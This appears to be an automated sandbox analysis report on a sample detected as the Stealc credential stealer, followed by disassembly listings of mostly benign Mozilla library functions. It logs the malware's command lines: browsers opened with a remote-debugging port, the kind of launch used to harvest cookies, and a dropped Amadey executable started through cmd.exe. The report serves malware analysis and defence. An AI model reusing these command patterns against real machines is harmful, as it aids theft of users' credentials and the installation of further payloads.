Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	1'827'328 bytes
MD5 hash:	E0907CECF84597FF5476178C7ADDD920
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2587213039.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2075003710.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:06:10
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:06:12
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=1992,i,11116449374999866052,6667238592882997596,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:06:21
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:06:22
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2108,i,16945765507413660770,14128624354131785041,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:06:22
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:06:22
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:06:27
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6732 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:06:27
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6940 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:06:50
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:06:50
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:06:50
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsHCAFIJDGHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHCAFIJDGHC.exe"
Imagebase:	0x950000
File size:	1'905'152 bytes
MD5 hash:	642A88E4846A4148E7A4BED5A1F988A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2580836790.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2623360968.0000000000951000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:06:53
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x8e0000
File size:	1'905'152 bytes
MD5 hash:	642A88E4846A4148E7A4BED5A1F988A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2614240745.0000000004900000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2655092186.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:06:54
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8e0000
File size:	1'905'152 bytes
MD5 hash:	642A88E4846A4148E7A4BED5A1F988A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2665437808.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2624888080.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:07:22
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2432 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	17:08:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8e0000
File size:	1'905'152 bytes
MD5 hash:	642A88E4846A4148E7A4BED5A1F988A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.3273779567.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3313608021.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

AuthcAMDenti, xrefs: 6C4D3946
GenuntelineI, xrefs: 6C4D3639
QPC, xrefs: 6C4D38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
GTC, xrefs: 6C4D3912

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
[I %d/%d] profiler_init, xrefs: 6C4E564E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA
